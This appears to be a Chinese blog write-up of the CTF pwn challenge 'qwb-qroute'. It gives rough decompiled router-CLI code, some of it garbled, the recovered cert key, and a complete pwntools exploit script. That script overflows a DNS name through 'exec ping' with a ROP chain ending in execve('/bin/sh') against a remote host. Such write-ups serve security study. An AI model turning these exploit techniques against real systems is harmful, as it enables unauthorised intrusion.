qwb-qroute


CHECK

逆向分析

handler

struct StringSlice *ptr_Router_handleCommand(struct Router *r, struct StringSlice s) {
struct StringSlice *fields;
fields = strings_Fields(s, ' ');
if (fields->len == 0) {
return fields;
}
switch (fields->len) {
case 3:
if (strings_Equal(fields->at[0], "set")) {
return ptr_Router_set(r, strings_Join(fields, 1, fields->len - 1, " "),
true);
}
break;
case 4:
if (fields->at[1][0] < 'h') {
if (strings_Equal(fields->at[0], "show")) {
if (fields->len >= 2) {
return ptr_Router_show(r, fields->at[1], fields->at[2], true);
}
fmt_Fprintln(os_Stderr, "Usage: show <router-name>");
return NULL;
}
if (strings_Equal(fields->at[0], "cert")) {
if (fields->len >= 2) {
return ptr_Router_cert(r, fields->at[1], fields->at[2], true);
}
fmt_Fprintln(os_Stderr, "Usage: cert <router-name>");
return NULL;
}
} else {
if (strings_Equal(fields->at[0], "exec")) {
return ptr_Router_exec(r, strings_Join(fields, 1, fields->len - 1, " "),
true);
}
if (strings_Equal(fields->at[0], "conf")) {
if (r->is_config_mode) {
return ptr_Router_exitConfigMode(r, true);
}
fmt_Fprintln(os_Stderr, "Not in configuration mode.");
os_Exit(0);
}
}
break;
case 6:
if (strings_Equal(fields->at[0], "delete")) {
return ptr_Router_delete(r, strings_Join(fields, 1, fields->len - 1, " "),
true);
}
if (strings_Equal(fields->at[0], "quit")) {
fmt_Fprintln(os_Stderr, "Goodbye!");
os_Exit(0);
}
break;
case 9:
if (strings_Equal(fields->at[0], "config")) {
return ptr_Router_enterConfigMode(r, true);
}
break;
}
fmt_Fprintln(os_Stderr, "Usage: \"help\" for a list of commands");
return NULL;
}

set

static void main__ptr_Router_set(main__ptr_Router r, String s) {
if (!r->isRunning) {
fmt_Fprintln(main__stdErr, "Error: Router is not running\n");
return;
}
Array_String a = strings_Fields(s);
if (len_Array_String(a) < 2) {
fmt_Fprintln(main__stdErr, "Error: Too few arguments\n");
return;
}
String cmd = at_Array_String(a, 0);
if (len_String(cmd) == 3 &&
char_String(cmd, 0) == 'a' && char_String(cmd, 1) == 'd' &&
char_String(cmd, 2) == 'd') {
if (len_Array_String(a) < 3) {
fmt_Fprintln(main__stdErr, "Error: Too few arguments\n");
return;
}
String name = at_Array_String(a, 1);
String ip = at_Array_String(a, 2);
r->dns[r->dnsCount].name = name;
r->dns[r->dnsCount].ip = ip;
r->dnsCount += 1;
main__ptr_Router_log(r,
runtime_concatstring2("Added DNS record for ", name,
ip, " ", 0),
"Added DNS record for ", name, ip);
fmt_Fprintf(main__stdErr, "Added DNS record: %s -> %s\n", 27,
runtime_convTstring(name), runtime_convTstring(ip));
} else if (len_String(cmd) == 5 &&
char_String(cmd, 0) == 'a' && char_String(cmd, 1) == 'd' &&
char_String(cmd, 2) == 'd' && char_String(cmd, 3) == 'r' &&
char_String(cmd, 4) == 'e') {
if (len_Array_String(a) < 4) {
fmt_Fprintln(main__stdErr, "Error: Too few arguments\n");
return;
}
String network = at_Array_String(a, 1);
String netmask = at_Array_String(a, 2);
String gateway = at_Array_String(a, 3);
String interface = at_Array_String(a, 4);
r->routes[r->routeCount].network = network;
r->routes[r->routeCount].netmask = netmask;
r->routes[r->routeCount].gateway = gateway;
r->routes[r->routeCount].interface = interface;
r->routeCount += 1;
main__ptr_Router_log(
r,
runtime_concatstring2("Added route to ", network, " via ", gateway,
" on interface ", interface, " ", 0),
"Added route to ", network, gateway, interface);
fmt_Fprintf(main__stdErr, "Added route to %s via %s on interface %s\n", 41,
runtime_convTstring(network), runtime_convTstring(gateway),
runtime_convTstring(interface));
} else if (len_String(cmd) == 9 &&
char_String(cmd, 0) == 'i' && char_String(cmd, 1) == 'n' &&
char_String(cmd, 2) == 't' && char_String(cmd, 3) == 'e' &&
char_String(cmd, 4) == 'r' && char_String(cmd, 5) == 'f' &&
char_String(cmd, 6) == 'a' && char_String(cmd, 7) == 'c' &&
char_String(cmd, 8) == 'e') {
if (len_Array_String(a) < 5) {
fmt_Fprintln(main__stdErr, "Error: Too few arguments\n");
return;
}
String name = at_Array_String(a, 1);
String ip = at_Array_String(a, 2);
String mac = at_Array_String(a, 3);
String status = at_Array_String(a, 4);
String type = at_Array_String(a, 5);
String link = at_Array_String(a, 6);
String mtu = at_Array_String(a, 7);
String metric = at_Array_String(a, 8);
r->interfaces[r->interfaceCount].name = name;
r->interfaces[r->interfaceCount].ip = ip;
r->interfaces[r->interfaceCount].mac = mac;
r->interfaces[r->interfaceCount].status = status;
r->interfaces[r->interfaceCount].type = type;
r->interfaces[r->interfaceCount].link = link;
r->interfaces[r->interfaceCount].mtu = mtu;
r->interfaces[r->interfaceCount].metric = metric;
r->interfaceCount += 1;
main__ptr_Router_log(
r,
runtime_concatstring2("Added interface ", name, " with IP ", ip,
", MAC ", mac, ", Status ", status, " ", 0),
"Added interface ", name, ip, mac, status);
fmt_Fprintf(main__stdErr,
"Added interface %s with IP %s, MAC %s, Status %s\n", 49,
runtime_convTstring(name), runtime_convTstring(ip),
runtime_convTstring(mac), runtim_convTstring(status));
} else {
fmt_Fprintln(main__stdErr, "Error: Too few arguments\n");
}
}

delete

static String main__ptr_Router_delete(main__ptr_Router r, String args) {
String argv[2];
if (!r->is_running) {
return fmt_Fprintln(
os__Stderr,
&(String){10, 10, "Router is not running\n"},
&([]String{{&RTYPE_string, &(String){10, 10, "Router is not running\n"}}}});
}
argv = strings_Fields(args, 2);
if (len_String(argv) < 2) {
return fmt_Fprintln(
os__Stderr,
&(String){12, 12, "Incorrect number of arguments\n"},
&([]String{{&RTYPE_string, &(String){12, 12, "Incorrect number of arguments\n"}}}});
}
if (len_String(argv[1]) == 3 &&
((((String){3, 3, "set"}).str)[0] == argv[1].str[0] &&
(((String){3, 3, "set"}).str)[1] == argv[1].str[1] &&
(((String){3, 3, "set"}).str)[2] == argv[1].str[2]))) {
String arg = argv[2];
String arg_len = len_String(arg);
for (long i = 0; i < len_slice_main_DNSRecord(r->dns_records); i++) {
main__DNSRecord rr = at_slice_main_DNSRecord(r->dns_records, i);
if (len_String(rr.domain) == arg_len &&
runtime_memequal(rr.domain.str, arg.str, arg_len)) {
r->dns_records =
slice_main_DNSRecord(r->dns_records, 0, i - 1, r->dns_records);
r->dns_records = slice_main_DNSRecord(r->dns_records, i + 1,
len_slice_main_DNSRecord(r->dns_records),
r->dns_records);
r->dns_records = append_slice_main_DNSRecord(
r->dns_records,
slice_main_DNSRecord(r->dns_records, i, len_slice_main_DNSRecord(r->dns_records),
r->dns_records));
r->log(concat_String(String_lit("Deleted DNS record for "), arg));
return fmt_Fprintf(os__Stderr,
String_lit("Deleted DNS record for %s\n"),
&([]String{{&RTYPE_string, convTstring(arg)}}}, 1,
1);
}
}
return fmt_Fprintf(os__Stderr, String_lit("DNS record for %s not found\n"),
&([]String{{&RTYPE_string, convTstring(arg)}}}, 1, 1);
}
if (len_String(argv[1]) == 5 &&
((((String){5, 5, "route"}).str)[0] == argv[1].str[0] &&
(((String){5, 5, "route"}).str)[1] == argv[1].str[1] &&
(((String){5, 5, "route"}).str)[2] == argv[1].str[2] &&
(((String){5, 5, "route"}).str)[3] == argv[1].str[3] &&
(((String){5, 5, "route"}).str)[4] == argv[1].str[4]))) {
String arg = argv[2];
String arg_len = len_String(arg);
for (long i = 0; i < len_slice_main_Route(r->routes); i++) {
main__Route rr = at_slice_main_Route(r->routes, i);
if (len_String(rr.prefix) == arg_len &&
runtime_memequal(rr.prefix.str, arg.str, arg_len)) {
r->routes =
slice_main_Route(r->routes, 0, i - 1, r->routes);
r->routes = slice_main_Route(r->routes, i + 1,
len_slice_main_Route(r->routes), r->routes);
r->routes = append_slice_main_Route(
r->routes,
slice_main_Route(r->routes, i, len_slice_main_Route(r->routes),
r->routes));
r->log(concat_String(String_lit("Deleted route to "), arg));
return fmt_Fprintf(os__Stderr, String_lit("Deleted route to %s\n"),
&([]String{{&RTYPE_string, convTstring(arg)}}}, 1,
1);
}
}
return fmt_Fprintf(os__Stderr, String_lit("Route to %s not found\n"),
&([]String{{&RTYPE_string, convTstring(arg)}}}, 1, 1);
}
if (len_String(argv[1]) == 9 &&
((((String){9, 9, "interface"}).str)[0] == argv[1].str[0] &&
(((String){9, 9, "interface"}).str)[1] == argv[1].str[1] &&
(((String){9, 9, "interface"}).str)[2] == argv[1].str[2] &&
(((String){9, 9, "interface"}).str)[3] == argv[1].str[3] &&
(((String){9, 9, "interface"}).str)[4] == argv[1].str[4] &&
(((String){9, 9, "interface"}).str)[5] == argv[1].str[5] &&
(((String){9, 9, "interface"}).str)[6] == argv[1].str[6] &&
(((String){9, 9, "interface"}).str)[7] == argv[1].str[7] &&
(((String){9, 9, "interface"}).str)[8] == argv[1].str[8]))) {
String arg = argv[2];

config mode

static inline bool Router_enterConfigMode(struct Router *router) {
if (!router->is_config) {
fmt_Fprintln(
os, "You need to enable the configuration mode first, using 'config'.");
return false;
}
router->is_config_mode = true;
fmt_Fprintln(os, "Entering configuration mode.");
return true;
}

show

static int _main__ptr_Router_show(struct _main__ptr_Router *self,
struct String *command,
struct String *args, int verb, int argc,
int argv, int argc2, int argv2) {
if (String_size(command) == 3 && String_equals(command, "nets")) {
fmt_Fprintln(stdout, "Networks:\n");
{
struct _main__ptr_Network *net;
foreach (net, self->networks) {
struct String *name = net->name;
struct String *ip = net->ip;
struct String *mask = net->mask;
fmt_Fprintf(stdout, "Domain: %s, IP: %s\n", 19,
runtime_convTstring(name, RTYPE_String),
runtime_convTstring(mask, RTYPE_String), 2);
}
}
return 0;
}
if (String_size(command) == 4 && String_equals(command, "dns")) {
fmt_Fprintln(stdout, "DNS:\n");
{
struct String *dns;
foreach (dns, self->dns) {
fmt_Fprintln(stdout, "\t%s\n", 1, runtime_convTstring(dns, RTYPE_String));
}
}
return 0;
}
if (String_size(command) == 6 && String_equals(command, "routes")) {
fmt_Fprintln(stdout, "Routes:\n");
{
struct _main__ptr_Route *route;
foreach (route, self->routes) {
struct String *dest = route->dest;
struct String *gate = route->gate;
struct String *iface = route->iface;
fmt_Fprintf(stdout, "Destination: %s, Gateway: %s, Interface: %s\n", 44,
runtime_convTstring(dest, RTYPE_String),
runtime_convTstring(gate, RTYPE_String),
runtime_convTstring(iface, RTYPE_String));
}
}
return 0;
}
if (String_size(command) == 10 && String_equals(command, "interfaces")) {
fmt_Fprintln(stdout, "Interfaces:\n");
{
struct _main__ptr_Interface *iface;
foreach (iface, self->interfaces) {
struct String *name = iface->name;
struct String *ip = iface->ip;
struct String *mac = iface->mac;
struct String *status = iface->status;
fmt_Fprintf(stdout, "Name: %s, IP Address: %s, MAC Address: %s, Status: %s\n",
54, runtime_convTstring(name, RTYPE_String),
runtime_convTstring(ip, RTYPE_String),
runtime_convTstring(mac, RTYPE_String),
runtime_convTstring(status, RTYPE_String));
}
}
return 0;
}
fmt_Fprintln(stdout, "Bad command: %s\n", 1, runtime_convTstring(command, RTYPE_String));
return 0;
}

cert

static bool _ptr_Router_cert(struct Router *r, uint8_t *key, uint8_t *cert,
int keylen) {
uint8_t *encrypted;
encrypted = main_rc4EncryptDecrypt(key, 7, cert, 10);
if (!encrypted) {
if (keylen == 7 && memequal(encrypted, "cliroutego", 7)) {
r->isCliroute = true;
fmt_Fprintln(os_Stderr, "cliroute: " Color_Green "certificate accepted" Reset);
return true;
}
fmt_Fprintln(os_Stderr, "cliroute: " Color_Red "certificate rejected" Reset);
return false;
}
fmt_Fprintln(os_Stderr, "cliroute: " Color_Red "certificate decrypted" Reset,
encrypted, 10);
return false;
}

分析

命令有:

configure、show、cert

delete、exec、set

logout、exit

4ceb539da109caf8eea7

exec ping host 127.0.0.1
exec traceroute host 127.0.0.1

攻击成功

拿下二血:

exp

from pwn import *
import sys

file = "./pwn"
if len(sys.argv) == 1 or sys.argv[1] == 'l':
sh = process(file)
elif sys.argv[1] == 'r':
sh = remote("39.106.54.211", 34933)
elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg():
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
gdb.attach(sh)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res

def cmd(order):
ru("Router#")
sl(order)
def cmd1(order):
ru("Router(config)# ")
sl(order)

def ping(ip):
pay = "exec ping host " + ip
cmd1(pay)

def dns(name, ip):
pay = "set dns " + name + ' ' + ip
cmd1(pay)

def interface(name, ip):
pay = "set interface " + name + ' ' + ip + " 12:12:12 valid"
cmd1(pay)

def route(ip1, ip2, interface):
pay = "set route " + ip1 + ' ' + ip2 + ' ' + interface
cmd1(pay)

def trace(ip):
pay = "exec traceroute host " + ip
cmd1(pay)

pop_rdi_ret = 0x00000000004c23dd
syscall_ret = 0x471529
bss = 0x5F7850
pop_rbx_ret = 0x0000000000461dc1
pop_rsi_need_rbx_ret = 0x0000000000462560
pop_rax_pop3_ret = 0x0000000000432c4b
pop_rdx_need_rax_ret = 0x000000000040d8af
ret = 0x00000000004D8594
pop_rbp_ret = 0x0000000000401030

def func():
cmd("cert 4ceb539da109caf8eea7")
cmd("configure")

dns('1.1.1.1', 'a')
dns('2.2.2.2', 'b')


route('1.1.1.1', '2.2.2.2', 'i1')
route('2.2.2.2', '3.3.3.3', 'i1')

a = p64(0).decode("iso-8859-1")*6
aa = p64(0x1234).decode("iso-8859-1")*6
b = a+'.'
bb = aa+'.'

goal = 0x00000000004019d8
low = (goal&0xffffff) << (64-24)
high = goal >> 24
att = p64(0) * 2 + p64(3) + p64(low)+p64(high)+p64(6) + b'.'
att = att.decode("iso-8859-1")

mid = p64(0) * 2 + b'aaa.' + p64(pop_rdi_ret) + p64(0) + p64(pop_rbp_ret) + b'.aaaaaa.'
mid += p64(pop_rbx_ret) + p64(bss-0x100) + p64(pop_rsi_need_rbx_ret) + p64(bss) + p64(pop_rax_pop3_ret) + p64(bss-0x100) + p64(0) + b'.aaaaaa.'
mid += p64(0) + p64(pop_rdx_need_rax_ret) + p64(0x100) + p64(pop_rax_pop3_ret)+ p64(0) +p64(0x12345678)*2 + b'.aaaaaa.'
mid += p64(syscall_ret) + p64(pop_rdi_ret) + p64(bss) + p64(pop_rbx_ret) + p64(bss-0x100) + p64(pop_rax_pop3_ret) + p64(bss-0x100)+ b'.aaaaaa.'
mid += p64(0)*2 + p64(pop_rdx_need_rax_ret) + p64(0) + p64(pop_rsi_need_rbx_ret) + p64(0) + p64(pop_rbp_ret) + b'.aaaaaa.'
mid += p64(pop_rax_pop3_ret) + p64(59) + p64(0)*3 + p64(syscall_ret) + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'
mid += p64(0x12345678) * 7 + b'.aaaaaa.'

mid = mid.decode("iso-8859-1")

rop = p64(0x12345678)
rop = rop.decode("iso-8859-1")

name = b * 0xa + att + mid + a
dns(name, '1')
#dbg()
ping(name)

sl("/bin/sh\x00")

sh.interactive()

if __name__ == "__main__":
func()


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录